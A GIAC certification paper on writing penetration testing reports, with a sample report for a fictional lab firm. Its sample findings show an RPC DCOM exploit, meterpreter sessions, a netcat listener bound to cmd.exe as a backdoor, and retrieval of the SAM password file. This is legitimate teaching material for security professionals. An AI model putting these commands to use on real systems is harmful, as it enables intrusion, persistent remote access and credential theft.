Writing a Penetration Testing Report

Writing a penetration testing report is an art that needs to be learned to make sure that the report has delivered the right message to the right people. The report will be sent to the target organization's senior management and technical team as well. For this reason, we, as penetration testers, need to deliver the report in a way that serves our objective to secure the information. This paper will explain the penetration testing report writing methodology, based on the author's experiences, describing the report...
Writing a Penetration Testing Report

GIAC (GPEN) Gold Certification

Author: Mansour A. Alharbi, mharbi@gmail.com
Advisor: Dr Kees Leune

Accepted: April 6th 2010

Abstract

Writing a penetration testing report is an art that needs to be learned to make sure that the report has delivered the right message to the right people. The report will be sent to the target organization’s senior management and technical team as well. For this reason, we, as penetration testers, need to deliver the report in a way that serves our objective to secure the information. This paper will explain the penetration testing report writing methodology, based on the author’s experiences, describing the report content and design. Appendix A shows a detailed example of a penetration testing report based on the described approach.
1. Introduction

A lot of currently available penetration testing resources lack report writing methodology and approach which leads to a very big gap in the penetration testing cycle. Report in its definition is a statement of the results of an investigation or of any matter on which definite information is required (Oxford English Dictionary).

A penetration test is useless without something tangible to give to a client or executive officer. A report should detail the outcome of the test and, if you are making recommendations, document the recommendations to secure any high-risk systems (Whitaker & Newman, 2005). Report Writing is a crucial part for any service providers especially in IT service/ advisory providers. In pen-testing the final result is a report that shows the services provided, the methodology adopted, as well as testing results and recommendations. As one of the project managers at major electronics firm Said “We don't actually manufacture anything. Most of the time, the tangible products of this department [engineering] are reports.” There is an old saying that in the consulting business: “If you do not document it, it did not happen.” (Smith, LeBlanc & Lam, 2004)

Many people consider business reports as dry, uninteresting documents, which take a great deal of time and efforts to prepare. The reality is that they are an essential part of doing business and one's ability to be proficient in this area is critical to the ability to pursue commercial success (McCarthy, 1979; Ronstadt, 1984; Thompson, 2003c).

Penetration testing report presents the approach followed and the results of the vulnerability assessment and penetration test of a target system with a detailed recommendation of how to mitigate the risks.

Target reader for the penetration testing report will vary, executive summary will be read by the senior management and the technical details will be read by the IT and/or information security responsible people. This paper begins with a conventional approach to develop a penetration testing report starting from collecting information, drafting the first report and ending with a professional report. As shown in figure 1 the penetration testing report writing stages are: Report planning, Information collection, writing the first draft and reviewing and finalization.

Mansour Alharbi, mharbi@gmail.com
Then in section 3, the paper provides the needed content each report normally has, what each of the contents is used for, and how this will help the target readers of the penetration testing report understand the content. Finally appendix A has a sample penetration testing report applying the approach described.

The target reader for this paper is the technical penetration testers that need to enhance their capabilities in report writing.

For the purpose of this paper, 2 servers have been configured and GPEN.KM will be the organization name.

Mansour Alharbi, mharbi@gmail.com
2. Report Development Stages

As shown in figure 1, these stages show a practice for the development of penetration testing report.

2.1. Report Planning

Report objectives

Report objectives help the reader to focus on the main points of the penetration testing and the report e.g. PCI compliance once the objectives are clear both the reader and the penetration tester(s) will know what exactly the aim of the project. This section explains why we conduct the penetration testing and the benefit of it. This may be found in the Request for Proposal, be part of risk analysis, be part of compliance or to know the current stat of the target testing environment. Sample report objectives can be found in section 1.2. Project Objectives in Appendix A Sample Penetration Testing Report.

Time

Penetration tester(s) need(s) to exactly mention the testing time for many reasons. This may include:

- In mission critical infrastructure the organization may need to make sure some key IT persons are available during the test in case some thing does wrong e.g. server crash.
- In rapidly changing IT infrastructure, the changes need to be freeze in the penetration testing scope during the test to make sure that the testing is exactly assessing the current IT (the penetration testing scope).
- Even though there is no 100% security, the report will show the risks in the penetration testing scope during this period of time any risks after this time may arise because of some changes in the IT infrastructure of changing in the configuration.

Pen Tester needs to make sure that sufficient time is allotted in the project plan. Sample time table is shown in 1.4. Timeline in Appendix A Sample Penetration Testing
Report. On the other hand, during the project planning time of the report delivery needs to be carefully taken into consideration. Divide your report writing into tasks to simplify things and focus of them. Planning the report will help in delivering an effective report. Typically, 60% of your time should be spent writing the draft. Pen Tester needs to consider the client’s acceptance process as well as the fact that it may take longer than expected.

Consider the target audiences

Penetration testing reports usually have a number of target audiences/audience groups to reach, so a report will often have a hierarchical structure to support different levels of details. In designing the report form and style, the following target audience characteristics should be considered:

- Their need for the report (i.e. operational planning, resource allocation, approval),
- Position in the organization
- Knowledge of the report topic (i.e. purpose),
- Responsibility or authority to make decision based on the report, and
- Personal demographics (i.e. age, alliances, attitudes).

Report audiences include Information Security Manager, Chief Information Security Officer, Information Technology Manager and technical teams. More information about the scope and target audiences can be found also in the scope of work of the assignment.

Report classification

Since Penetration Testing Report have sensitive information such as, servers IP addresses and its information, some applications information, vulnerability, threats, exploits and more, it should be considered to be in every high rank of confidentiality e.g. TOP SECRET and the report will be dealt with accordingly. The report classification will be based on the target organization information classification policy.

Mansour Alharbi, mharbi@gmail.com
Report distribution

The number of copies of the report, the report format (hardcopy, softcopy) and the delivery procedure should be carefully implemented to control the report distribution and make sure it only arrives to the right person in the right time based on the need to know the bases. Type of report delivery, number of copies and report distribution should be addressed in the scope of work. Hardcopies can be controlled by printing a limited number of copies attached with its number and the receiver name. Table 1 shows a sample table that can be utilized to control hardcopies.

<table>
<thead>
<tr>
<th>Copy No</th>
<th>Department</th>
<th>Name</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Table 1 Penetration Testing Report distribution control

Each copy will formally hand over to the target person. Softcopy needs to be carefully controlled in a secure server owned by the department that has requested the penetration testing service. Distributing the softcopy of the report normally will be controlled by the document owner (report owner) and it will be under his responsibility. Finally after submitting the report, the penetration tester should delete any available information that he have and inform the client that all related information has been erased (This step should be clearly mentioned and agreed upon in the service agreement documents. As Andrew Whitaker and Daniel P. Newman (Whitaker & Newman, 2005) stated that ‘your ethical responsibilities do not stop when the test is done, however. After the test is completed, you should perform due diligence to ensure the confidentiality of the test results. Some penetration testing firms have known to circulate test results to other companies as samples of their work. These results contain detailed steps on how to break into an e-finance website for a particular financial institution and collect sensitive customer data. You can imagine the shock of the institution when it discovered these contents being distributed to its competitors! Therefore, as a penetration tester, you are under an ethical obligation to keep the details of the report confidential. Shred any hardcopy.

Mansour Alharbi, mharbi@gmail.com
copies of the report, and delete all soft copies using an erasing utility such as PGP or Axcrypt.

### 2.2. Information Collection

Due to the nature of penetrating testing and utilizing more than one way, tools, computers, etc., penetration tester needs to make sure that he collected all the information in all stages, system used and tools. This will ease his report writing and make all information that he need available either in each stage, moving to the next stage, using information and analyzing it either in the penetration testing activity or during report writing. In case of the penetration testing is conducted by a team, a centralized and secure location need to be located to share the information.

Collecting the information during the penetration testing stages/steps is a very important step to be able to write the report. This include, scanning results, vulnerability assessment, snap shots of the findings and exploits (if any), etc. Pen-tester needs to consider information collection in all steps that he performs during the test. Pen testers may utilize some tools such as:

- Taking notes
- Capturing screenshots
- Logging for all activities (This will help in a very critical infrastructure to proof what the pen-tester did and in case something happened). In Linux environment to capture all traffic this command will help: 

  ```bash
  # tcpdump -nn -S 0 -w filename.pcap
  ```

### 2.3. Writing the first draft

Start writing a rough draft report using all relevant information gathered in stage 2.2 using the relevant notes. At this stage, it is highly recommended not to be concerned about proofreading and editing. Typically, 60% of report writing time will be in writing the draft.

It may be helpful to use a symbol such as "#" or adding highlights to mark the spot where pen-tester needs to check back later to edit a paragraph. Delete the symbol once editing is completed.

Mansour Alharbi, mharbi@gmail.com
2.4. **Review and finalization**

Draft needs to be reviewed to enhance it, peer review is highly recommended to have a second opinion. In case the penetration testing has been conducted by a team, all team members need to review and/or edit it. Peer review depends on the type of penetration testing conducted, if it is a black box penetration testing, one of the penetration testing team needs to review the report. If the test is white penetration testing, someone with knowledge of the target system will review the report collaboratively. This will lead to much better results. Report review depends also on the organization's procedure and the way that they handle the service. After updating the report, QA team may also need to review it and make sure it follows the company standards.

3. **Report Format**

This section describes the penetration testing report format and why we need each subsection. Sample Penetration testing report using the report format described here is shown in Appendix A.

3.1. **Page design**

In report planning, page design needs to be decided upon to develop the look and feel of the report. This includes but not limited to the header and footer content, fonts to be used and colors. This will be controlled based on how the service provider's document looks and feels.

3.2. **Document Control**

Document control will be based on the service provider control of document procedure. Here are some recommended sections and contents.

**Cover Page**

This will show the report name, report version, date, the author/service provider name, cover page may also include document serial number and target organization name.

Mansour Alharbi, mharbi@gmail.com
Document Properties

In a small table, this will show the document title, version, author, penetration testers name, name of persons whom reviewed the report, approved by whom and the document classification.

Version control

This will show the Version Control for the report. Version control will track the report changes by recording the change description, report version, date of the change and the change author.

3.3. List of Report Content

Table of Content

This will list all sections of the report in a sequence with the page numbers. Typically, for reports with less than 5 pages, a content page is not necessary. If the report includes some appendices, the titles of these should be listed but not page numbered.

List of Illustrations

If there are tables or charts included in the report, list them in this section with page numbers.

3.4. Executive Summary

"Write this after you’ve completed writing the report. Think of what you’d say if you ran into an executive in the elevator and had one minute to summarize your findings" (Snedaker, 2006). The Executive Summary summarizes the report content in a small paragraph containing a statement of the tasks accomplished, methodology used, high level findings and recommendations. Executive summary target executives where high level findings/issues need to be raised and recommended solutions need to be presented. This section normally is written after writing the report.

Mansour Alharbi, mharbi@gmail.com
Scope of work

Scope of work clearly identifies the scope of the project, IP addresses that has been tested, type of penetration testing perform and any other information that affect the time and budget of the project.

Identifying the scope will help

Project Objectives

Provide the objectives that the organization will gain after knowing the risks related to the penetration of the target IP addresses/ system or application and what they will get after mitigating these risks by implementing the recommendations in the penetration testing report.

The penetration testing objective needs to be linked with the information security objectives, which are expected to be linked with the organization's objectives.

If the penetration testing is part of compliance project the report needs to mention this requirement and how the pen-testing will help to achieve it.

Assumption

In case there are some assumptions that the pen-tester considers before or during the test, the assumptions need to be clearly shown in the report. Providing the assumption will help the report audiences to understand why penetration testing followed a specific direction.

Timeline

This will show the penetration testing start and end dates. This will provide the report target audiences with information about:

1- Testing duration
2- The tested IP address's risks, from pen-testing point of view, during this period only.
3- The pen-tester does not hold any responsibilities if some risk aroused after this period of time due to some changes in the target systems.
Summary of Findings

In a glance view show the number of discovered risks based on priorities. "When you construct the report of your findings, be careful to avoid statements that are inflammatory, unsupported by the evidence, speculative, or overly frightening." (Smith et al, 2004).

Summary of Recommendation

Based on the analysis of risks and the high level finding, the high level recommendation for the target organization need to be described.

3.5. Methodology

This section provides the needed information about how the penetration testing was conducted. What steps have been followed to collect the information, analyze them, the risk rating methodology used to calculate the risk for each piece of vulnerability and it may also contain the tools that the pen-tester used for each stage.

3.6. Detail findings

This section provides detailed information for each finding. Present the findings in the simplest way as possible. For each finding describe the threat level, vulnerability rating, analysis of the issue and the impact on the information asset (the IP address) if the threat agent was able to exploit the vulnerability, Risk Rating and Recommendation. Each one of these elements will be briefed in the next paragraphs. There are a number of ways in which results can be presented. Here are a few:

- Tables
- Graphs
- Pie or Bar charts
- Diagrams

Vulnerabilities

For each piece of vulnerability, a clear description should be shown about the source of the vulnerability, its impact and the likelihoods of the vulnerability to be exploited. Report should explain the source of the vulnerability and the root

Mansour Alharbi, mharbi@gmail.com
cause of the problem not the symptom of it. This will mitigate the vulnerability persistence.

**Impact**

The report should explain the impact of the vulnerability's exploitation by the threat agent.

**Likelihood**

Likelihood is "the probability that a potential vulnerability may be exercised within the construct of the associated threat environment" (Stoneburner, Goguen1, & Feringa1, 2002). The report should state the likelihood of a vulnerability being exploited by the threat source (e.g. a hacker). Practical penetration tester may think of the likelihood as a combination of ease of access, level of access gained, difficulty of discovering the vulnerability and exploiting it, and the value of the asset to the target organization.

**Risk evaluation**

"Process of comparing the estimated risk against given risk criteria to determine the significance of the risk "(ISO/IEC Guide 73:2002). Table 3 Risk Analysis in Appendix A was developed based on NIST.

This is a Special Publication 800-30, which shows one method of risk analysis and calculation.

**Recommendation**

"Presenting a piece of vulnerability in your findings without documenting how the vulnerability could be managed is only half of your security assessment job. The other half is presenting potential solutions, mitigations, or other suggestions for reducing or eliminating the vulnerability." (Smith et al., 2004).

Based on the risk rating and the target asset, the penetration tester should provide an acceptable recommendation with alternatives. For example, for weak authentication protocols being used to validate accounts for accessing a customer database through the ASP Web application, pen tester may provide more than option for mitigating the risk such as:

1. Implement Public Key Infrastructure (PKI) by providing certificate to all users of the database and require certificate-based authentication on the front-end

Mansour Alharbi, mharbi@gmail.com
website in addition to the forms-based authentication on the website. This solution will require the design and implementation of a PKI and Active Directory. Additionally, all client operating systems must run Microsoft Windows 2000 or later.

2- Import the accounts database to Active Directory and implement basic authentication over SSL on the website. This solution will require the design and implementation of Active Directory.

3- Continue to use the current custom authentication protocol, which is highly susceptible to spoofing or man-in-the-middle attacks. Penetration Tester may also utilize Annex A - Control objectives and controls ISO/IEC 27001:2005 to select some controls that will help in minimizing the risk discovered.

3.7. References

It is important to give precise details of all the work by other authors, which has been referred to within the report. Details should include:

- Author’s name and initials
- Date of publication
- Title of the book, paper or journal
- Publisher
- Place of publication
- Page numbers
- Details of the journal volume in which the article has appeared.

References should be listed in alphabetical order of the authors' names. Make sure that your references are accurate and comprehensive.

3.8. Appendices

An appendix contains additional information related to the report but which is not essential to the main findings. This can be consulted if the reader wishes to but the report should not depend on this. Such information may include the scanning result, vulnerability assessment results, or other information, which may be useful for the reader.

Mansour Alharbi, mharbi@gmail.com
3.9. **Glossary**

Define the meaning of technical terms.

Appendix A shows a Sample report of a penetration testing.

4. **References**


Retrieved December 15, 2009 from NIST Web site: 

The Higher Education Academy. *Writing Reports* 
Retrieved December 15, 2009 from The Higher Education Academy Web site:

Mansour Alharbi, mharbi@gmail.com
http://www.heacademy.ac.uk/assets/hlst/documents/heinfe_exchange/Blended_Learning_PDP_Materials/5_reportwriting.pdf

The University of Wisconsin, *Writer's Handbook*
Retrieved December 15, 2009, from University of Wisconsin Web site:
http://writing.wisc.edu/Handbook/

Purdue Online Writing Lab, *Handbook on report Formats*
Retrieved January 10, 2010, from Purdue OWL and Writing Lab Web site:
http://owl.english.purdue.edu/owl/resource/726/01/


CQ University Australia, *Communications Learning Centre*
Retrieved December 15, 2009, from CQ University Australia Website:


https://www.pcisecuritystandards.org/pdfs/infosupp_11_3_penetration_testing.pdf

Mansour Alharbi, mharbi@gmail.com
Appendix A Sample Penetration Testing Report

Black Box Penetration Testing
For GPEN.KM
V1.0
Month ddth, yyyy

By: Mansour A. Alharbi

Mansour Alharbi, mharbi@gmail.com
# Document Properties

<table>
<thead>
<tr>
<th>Title</th>
<th>Black Box Penetration Testing Report</th>
</tr>
</thead>
<tbody>
<tr>
<td>Version</td>
<td>V1.0</td>
</tr>
<tr>
<td>Author</td>
<td>Mansour A. Alharbi</td>
</tr>
<tr>
<td>Pen-testers</td>
<td>Mansour A. Alharbi</td>
</tr>
<tr>
<td>Reviewed By</td>
<td>Kees Leune</td>
</tr>
<tr>
<td>Approved By</td>
<td>Kees Leune</td>
</tr>
<tr>
<td>Classification</td>
<td>Confidential</td>
</tr>
</tbody>
</table>

# Version control

<table>
<thead>
<tr>
<th>Version</th>
<th>Date</th>
<th>Author</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>V1.0</td>
<td>Month ddth, yyyy</td>
<td>Mansour Alharbi</td>
<td>Final Draft</td>
</tr>
</tbody>
</table>
Table of Content

CONTENTS ........................................................................................................................................... 18

1 EXECUTIVE SUMMARY .................................................................................................................. 20

1.1 SCOPE OF WORK ......................................................................................................................... 20

1.2 PROJECT OBJECTIVES ............................................................................................................. 20

1.3 ASSUMPTION ............................................................................................................................... 20

1.4 TIMELINE ........................................................................................................................................ 20

1.5 SUMMARY OF FINDINGS ........................................................................................................... 21

1.6 SUMMARY OF RECOMMENDATION ......................................................................................... 22

2 METHODOLOGY .............................................................................................................................. 23

2.1 PLANNING ....................................................................................................................................... 23

2.2 EXPLOITATION ............................................................................................................................. 24

2.3 REPORTING .................................................................................................................................... 24

3 DETAIL FINDINGS ............................................................................................................................. 25

3.1 DETAILED SYSTEMS INFORMATION ......................................................................................... 25

3.2 WINDOWS SERVER 192.168.1.75 ............................................................................................ 27

4 REFERENCES ...................................................................................................................................... 32

APPENDIX A NESSUS VULNERABILITY SCANNING REPORTS ......................................................... 32
List Of Illustrations

List of Tables
Table 1 Penetration Testing Time Line 12
Table 1 Total Risk Rating 12
Table 3 Risk Analysis 16
Table 4 Rating Calculation 16
Table 5 Targets open ports 17

List of Figures
Figure 1 Total Risks 13
Figure 2 Penetration Testing Methodology 15
Figure 3 192.168.1.75 Number of Risks 17
Figure 4 Telnet Service Banner 18
Figure 12 Exploiting RPC using dcom 18
Figure 13 Getting Shell Access 19
Figure 14 Exploiting dcom – metasploit 19
Figure 16 Uploading nc.exe as backdoor 21
Figure 17 Shell command and running nc 22
Figure 18 Downloading SAM file 22
1. Executive Summary

This document details the security assessment (external penetration testing) of GPEN.KM. The purpose of the assessment was to provide a review of the security posture of GPEN.KM Internet infrastructure, as well, as to identify potential weaknesses in its Internet infrastructure.

1.1. Scope of work

This security assessment covers the remote penetration testing of 2 accessible servers hosted on 192.168.1.75 and 192.168.1.76 addresses. The assessment was carried out from a black box perspective, with the only supplied information being the tested servers IP addresses. No other information was assumed at the start of the assessment.

1.2. Project Objectives

This security assessment is carried out to gauge the security posture of GPEN.KM’s Internet facing hosts. The result of the assessment is then analyzed for vulnerabilities. Given the limited time that is given to perform the assessment, only immediately exploitable services have been tested. The vulnerabilities are assigned a risk rating based on threat, vulnerability and impact.

1.3. Assumption

While writing the report, we assume that both IP addresses are considered to be public IP addresses, NDA and rules of engagement has been signed and based on the information gathering phase the company name is GPEN.KM.

1.4. Timeline

The timeline of the test is as below:

<table>
<thead>
<tr>
<th>Penetration Testing</th>
<th>Start Date/Time</th>
<th>End Date/Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>Pen Test 1</td>
<td>mm/dd/yyyy</td>
<td>mm/dd/yyyy</td>
</tr>
</tbody>
</table>

Table 1 Penetration Testing Time Line

Mansour Alharbi, mharbi@gmail.com
1.5. **Summary of Findings**

<table>
<thead>
<tr>
<th>Value</th>
<th>Number of Risks</th>
</tr>
</thead>
<tbody>
<tr>
<td>Low</td>
<td>3</td>
</tr>
<tr>
<td>Medium</td>
<td>2</td>
</tr>
<tr>
<td>High</td>
<td>6</td>
</tr>
<tr>
<td>Critical</td>
<td>6</td>
</tr>
</tbody>
</table>

Table 2 Total Risk Rating

![Figure 1 Total Risks](image)

GPEN.KM needs to pay more attention to information security. We were able to access one server in less than one hour. GPEN.KM needs to invest in implementing a defense-in-depth approach to have multiple layers of security to protect their information asset. Other areas such as processes and people should be emphasized as well. Systems and networks hardening and secure configurations, for instance, should be implemented to strengthen the different layers of security within GPEN.KM.

Below are the high level findings from the external penetration test:

- GPEN.KM lacks a defense in depth (multi-layered) security strategy which if implemented will help GPEN.KM achieves better security level.

Mansour Alharbi, mharbi@gmail.com
• We found that both servers are not protected by a firewall and can present a security risk since the host runs a number of services such as Microsoft terminal services without being configured for optimal security. GPEN.KM must design the Firewall policy as follows:
  o Apply rules to allow only public services such as mail and web access.
  o Apply anti-mapping rules on the border router and primary firewall.
  o Allow only authorized IPs to connect to other services or best disable unneeded services.

• It was obvious that GPEN.KM patch management policy and procedure is either not existing or not implemented correctly. One of these servers was running windows 2000 server without any patches. This opened a very high security risk on the organization.

• Services installed were running with default configuration such as FTP. Web application hosted in 192.168.1.75 is running multiple security vulnerability such as SQL injection and XSS. An attacker can gain access to customer information and manipulate it. GPEN.KM has to implement input validation and re-design the web application component. Best practice is to have 3-tier design. At least the application server and DB server should be hosted in deferent servers and segregated by a firewall.

1.6. Summary of Recommendation

Adopt defense-in-depth approach where GPEN.KM utilizes variety of security tools/systems and processes to protect its assets and information. Among these:

• Deploy Host Intrusion Prevention Systems –HIPS on servers and desktops, also enable personal firewall on desktop (such as Microsoft Windows firewall).
• Perform security hardening on servers in the production environment especially those in the Internet and/or external DMZs.
• Implement Patch management system(s) to provide centralized control over fixes, updates and patches to all systems, devices and equipments. This will minimize overhead on operations team and will elevate security resistance.
• GPEN.KM has to implement input validation and re-design the web application component. Best practice is to have 3-tier design. At least the application server and DB server should be hosted in different servers and segregated by a firewall.
• Conduct vulnerability assessment at least twice a year and penetration testing at least once a year or if there is a major change in the information assets.
• Develop and implement a training path for the current IT staff.

2. Methodology

![Penetration Testing Methodology Diagram]

2.1. Planning

During planning we gather information from public sources to learn about target:
- People and culture
- Technical infrastructure

Then, we detect the live system its O.S and determined the running services and its versions.

Mansour Alharbi, mharbi@gmail.com
2.2. **Exploitation**

Utilizing the information gathered in Planning we start to find the vulnerability for each O.S and service that we discovered after that trying to exploit it.

2.3. **Reporting**

Based on the results from the first two steps, we start analyzing the results. Our Risk rating is based on this calculation:

\[
\text{Risk} = \text{Threat} \times \text{Vulnerability} \times \text{Impact}
\]

**Table 3 Risk Analysis**

<table>
<thead>
<tr>
<th>Threat</th>
<th>Low</th>
<th>Medium</th>
<th>High</th>
<th>Critical</th>
</tr>
</thead>
<tbody>
<tr>
<td>Vulnerability</td>
<td>L</td>
<td>M</td>
<td>H</td>
<td>C</td>
</tr>
<tr>
<td>Impact</td>
<td>Low</td>
<td>1</td>
<td>2</td>
<td>3</td>
</tr>
<tr>
<td>Medium</td>
<td>2</td>
<td>4</td>
<td>6</td>
<td>8</td>
</tr>
<tr>
<td>High</td>
<td>3</td>
<td>6</td>
<td>9</td>
<td>12</td>
</tr>
<tr>
<td>Critical</td>
<td>4</td>
<td>8</td>
<td>12</td>
<td>16</td>
</tr>
</tbody>
</table>

**Table 4 Rating Calculation**

<table>
<thead>
<tr>
<th></th>
<th>Low</th>
<th>High</th>
</tr>
</thead>
<tbody>
<tr>
<td>L</td>
<td>1-16</td>
<td></td>
</tr>
<tr>
<td>M</td>
<td>17-32</td>
<td></td>
</tr>
<tr>
<td>H</td>
<td>33-48</td>
<td></td>
</tr>
<tr>
<td>C</td>
<td>49-64</td>
<td></td>
</tr>
</tbody>
</table>

After calculating the risk rating, we start writing the report on each risk and how to mitigate it.

*Based on our analysis risks that falls under this category will be considered as High.*

Mansour Alharbi, mharbi@gmail.com
3. Detail findings

3.1. Detailed Systems Information

<table>
<thead>
<tr>
<th>IP Address</th>
<th>System Type</th>
<th>OS Information</th>
<th>Open Ports</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.1.76</td>
<td>Server</td>
<td>Microsoft Windows Server 2003 Service Pack 1</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Port#</th>
<th>Protocol</th>
<th>Service Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>139</td>
<td>Tcp</td>
<td>netbios-ssn</td>
</tr>
<tr>
<td>21</td>
<td>Tcp</td>
<td>ftp</td>
</tr>
<tr>
<td>80</td>
<td>Tcp</td>
<td>http</td>
</tr>
<tr>
<td>135</td>
<td>Tcp</td>
<td>Msrpc</td>
</tr>
<tr>
<td>389</td>
<td>Tcp</td>
<td>Ldap</td>
</tr>
<tr>
<td>445</td>
<td>Tcp</td>
<td>open microsoft-ds</td>
</tr>
<tr>
<td>464</td>
<td>tcp</td>
<td>open kpasswd5?</td>
</tr>
<tr>
<td>593</td>
<td>tcp</td>
<td>open ncacn_http</td>
</tr>
<tr>
<td>636</td>
<td>tcp</td>
<td>open tcpwrapped</td>
</tr>
<tr>
<td>1025</td>
<td>Tcp</td>
<td>open msrpc</td>
</tr>
<tr>
<td>1027</td>
<td>Tcp</td>
<td>open ncacn_http</td>
</tr>
<tr>
<td>1030</td>
<td>Tcp</td>
<td>open msrpc</td>
</tr>
<tr>
<td>3268</td>
<td>Tcp</td>
<td>open ldap</td>
</tr>
<tr>
<td>3269</td>
<td>Tcp</td>
<td>open tcpwrapped</td>
</tr>
<tr>
<td>3389</td>
<td>Tcp</td>
<td>open microsoft-rdp</td>
</tr>
<tr>
<td>Server</td>
<td>Microsoft Windows 2000 Service Pack 0</td>
<td>Port</td>
</tr>
<tr>
<td>--------</td>
<td>--------------------------------------</td>
<td>------</td>
</tr>
<tr>
<td>192.168.1.75</td>
<td></td>
<td>80</td>
</tr>
<tr>
<td></td>
<td></td>
<td>135</td>
</tr>
<tr>
<td></td>
<td></td>
<td>139</td>
</tr>
<tr>
<td></td>
<td></td>
<td>443</td>
</tr>
<tr>
<td></td>
<td></td>
<td>445</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1027</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1035</td>
</tr>
<tr>
<td></td>
<td></td>
<td>23</td>
</tr>
<tr>
<td></td>
<td></td>
<td>53</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1033</td>
</tr>
<tr>
<td></td>
<td></td>
<td>135</td>
</tr>
</tbody>
</table>

Table 5 Targets open ports
3.2. **Windows Server 192.168.1.75**

![Bar Chart]

**Unsecure service (Telnet) is running:**

**Threat Level**
Medium

**Vulnerability**
Medium

**Analysis**

Telnet provides access to the server for remote administration as an example. Unfortunately telnet traffic is not encrypted. Suspicious users i.e. attacker with and easy accessible sniffer can sniff the traffic, which may include sensitive data and/or administrator credentials.

By Telneting to 192.168.1.75, we were able to see telnet service version number 5.00

Mansour Alharbi, mharbi@gmail.com
**Impact**
High

**Risk Rating**
Low

**Recommendation**
If deemed necessary for this server to be administered remotely, utilize secure administration tools such as SSH or Secure remote desktop access.

**Microsoft RPC Interface Buffer Overrun:**

**Threat Level**
High

**Vulnerability**
Critical

**Analysis**
The remote host is running a version of Windows, which has a flaw in its RPC interface, which may allow an attacker to execute arbitrary code and gain SYSTEM privileges. An attacker or a worm could use it to gain the control of this host.

We exploit this vulnerability utilizing a ready exploit available in the internet.

```
btp tap # dcom -d 192.168.1.75
RPC DCOM remote exploit - .: [oc192.us]. Security
[+] Resolving host...
[+] Done.
-- Target: [Win2k-Universal]: 192.168.1.75:135, Bindshell: 666, RET= [0x0018759f]
[+] Connected to bindshell.
-- bling bling --
```

Figure 5 Exploiting RPC using dcom

After exploiting this vulnerability we got a shell and as you can see the IP address is the server IP address.

Mansour Alharbi, mharbi@gmail.com
[+] Connected to bindshell..
-- bling bling --

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32>ipconfig
ipconfig

Windows 2000 IP Configuration

Ethernet adapter Local Area Connection:

  Connection-specific DNS Suffix : 
  IP Address. ................. : 192.168.1.75
  Subnet Mask ................. : 255.255.255.0
  Default Gateway ............ : 192.168.1.1

C:\WINNT\system32>

We also utilize this vulnerability to upload and download file through meterpreter as described below:
We uploaded a tool for further testing.
We opened a command shell using meterpreter and ran nc.exe to listen on port 2222/TCP:

```
Meterpreter > execute -f cmd.exe -c
Process 488 created.
Channel 4 created.
meterpreter > interact 4
Interacting with channel 4...
```

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

```
c:\>hostname
hostname
WWIN2Ksql765589
```

```
c:\>ipconfig
ipconfig
```

Windows 2000 IP Configuration

```
Ethernet adapter Local Area Connection:
  Connection-specific DNS Suffix . : 
  IP Address . . . . . . . . . . . . . . . . . . . . . . . : 192.168.1.75
  Subnet Mask . . . . . . . . . . . . . . . . . . . . . . . : 255.255.255.0
  Default Gateway . . . . . . . . . . . . . . . : 192.168.1.1
```

```
c:\>nc.exe -l -p2222 -d -e cmd.exe -L
nc.exe -l -p2222 -d -e cmd.exe -L
```

Figure 9 Shell command and running nc

And downloading SAM file for cracking the system passwords offline:

```
meterpreter > cd c:\
meterpreter > cd WINNT
meterpreter > pwd
C:\WINNT
meterpreter > download SAM
[-] stdapi_fs_stat: Operation failed: 2
meterpreter > cd repair
meterpreter > download SAM
[*] downloading: SAM -> SAM
[*] downloaded: SAM -> SAM
```

Figure 10 Downloading SAM file

**Impact**

**Critical**

Mansour Alharbi, mharbi@gmail.com
Risk Rating
Critical

Recommendation
Patch the system with latest patches from MS.
http://www.microsoft.com/technet/security/bulletin/MS03-039.mspx

4. References

Appendix A - Nessus Vulnerability Scanning Reports

Attach Nessus scanning file.
<table>
<thead>
<tr>
<th>Event Name</th>
<th>Location</th>
<th>Date Range</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Sonoma 2019</td>
<td>Santa Rosa, CA</td>
<td>Jan 14, 2019 - Jan 19, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Amsterdam January 2019</td>
<td>Amsterdam, NL</td>
<td>Jan 14, 2019 - Jan 19, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Miami 2019</td>
<td>Miami, FL</td>
<td>Jan 21, 2019 - Jan 26, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Dubai January 2019</td>
<td>Dubai, AE</td>
<td>Jan 26, 2019 - Jan 31, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Las Vegas 2019</td>
<td>Las Vegas, NV</td>
<td>Jan 28, 2019 - Feb 02, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Anaheim 2019</td>
<td>Anaheim, CA</td>
<td>Feb 11, 2019 - Feb 16, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Scottsdale 2019</td>
<td>Scottsdale, AZ</td>
<td>Feb 18, 2019 - Feb 23, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Zurich February 2019</td>
<td>Zurich, CH</td>
<td>Feb 18, 2019 - Feb 23, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Dallas 2019</td>
<td>Dallas, TX</td>
<td>Feb 18, 2019 - Feb 23, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Secure Japan 2019</td>
<td>Tokyo, JP</td>
<td>Feb 18, 2019 - Mar 02, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Baltimore Spring 2019</td>
<td>Baltimore, MD</td>
<td>Mar 02, 2019 - Mar 09, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Secure India 2019</td>
<td>Bangalore, IN</td>
